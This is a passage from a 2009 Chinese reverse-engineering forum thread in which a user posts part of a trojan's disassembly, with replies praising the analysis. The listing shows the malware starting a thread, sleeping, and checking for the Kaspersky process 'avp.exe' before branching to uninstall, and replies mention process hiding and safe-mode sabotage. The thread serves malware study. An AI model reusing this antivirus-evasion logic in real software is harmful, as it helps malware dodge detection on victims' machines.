    50. seg001:0041136B                 push    0               ; dwCreationFlags
    51. seg001:0041136D                 push    0               ; lpParameter
    52. seg001:0041136F                 push    offset sub_40DBC8 ; lpStartAddress
    53. seg001:00411374                 push    0               ; dwStackSize
    54. seg001:00411376                 push    0               ; lpThreadAttributes
    55. seg001:00411378                 call    CreateThread
    56. seg001:00411378
    57. seg001:0041137D                 push    0DACh           ; dwMilliseconds
    58. seg001:00411382                 call    Sleep
    59. seg001:00411382
    60. seg001:00411387
    61. seg001:00411387 loc_411387:                             ; CODE XREF: start+E47j
    62. seg001:00411387                 mov     eax, offset s_Avp_exe ; "avp.exe"
    63. seg001:0041138C                 call    sub_4076E8
    64. seg001:0041138C
    65. seg001:00411391                 cmp     al, 1
    66. seg001:00411393                 jnz     uninstall
    67. ......
    复制代码
    PYG19周年生日快乐!
  • TA的每日心情

    2016-2-14 14:40
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2009-2-6 11:53:46 | 显示全部楼层
    playboysen
    强啊~
    PYG19周年生日快乐!
  • TA的每日心情
    难过
    2022-2-6 09:25
  • 签到天数: 6 天

    [LV.2]偶尔看看I

     楼主| 发表于 2009-2-6 12:41:55 | 显示全部楼层
    原帖由 km159 于 2009-2-6 11:53 发表
    playboysen
    强啊~


    惭愧,初次分析木马,不足之处请指教

    论坛上次遇袭,我的十三篇精华现在还剩七篇了/:L
    PYG19周年生日快乐!
  • TA的每日心情
    郁闷
    2021-10-2 23:26
  • 签到天数: 46 天

    [LV.5]常住居民I

    发表于 2009-2-6 20:56:26 | 显示全部楼层
    原帖由 playboysen 于 2009-2-6 12:41 发表


    惭愧,初次分析木马,不足之处请指教

    论坛上次遇袭,我的十三篇精华现在还剩七篇了/:L

    不会吧!那我们不是损失惨重!/:010 /:010
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2009-2-7 08:53:26 | 显示全部楼层
    木马还没接触,进来长见识了
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2024-5-1 14:44
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2009-2-12 09:26:33 | 显示全部楼层
    原帖由 playboysen 于 2009-2-6 12:41 发表


    惭愧,初次分析木马,不足之处请指教

    论坛上次遇袭,我的十三篇精华现在还剩七篇了/:L


    补上来,再给兄弟加上精
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2009-2-18 10:01:47 | 显示全部楼层
    楼主超强,渴望继续啊
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2009-6-12 17:22:14 | 显示全部楼层
    那什么  楼主  这是小马…………………………
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2009-6-12 17:23:10 | 显示全部楼层
    /:L /:L 服了
    这也算小马  
    隐藏进程   破坏安全模式……………………
    PYG19周年生日快乐!
  • TA的每日心情

    2019-3-30 12:06
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2009-6-13 11:35:37 | 显示全部楼层
    怎么感觉像是学校机房中的那个玩意...
    是不是跟磁碟机绑定一起的那个
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表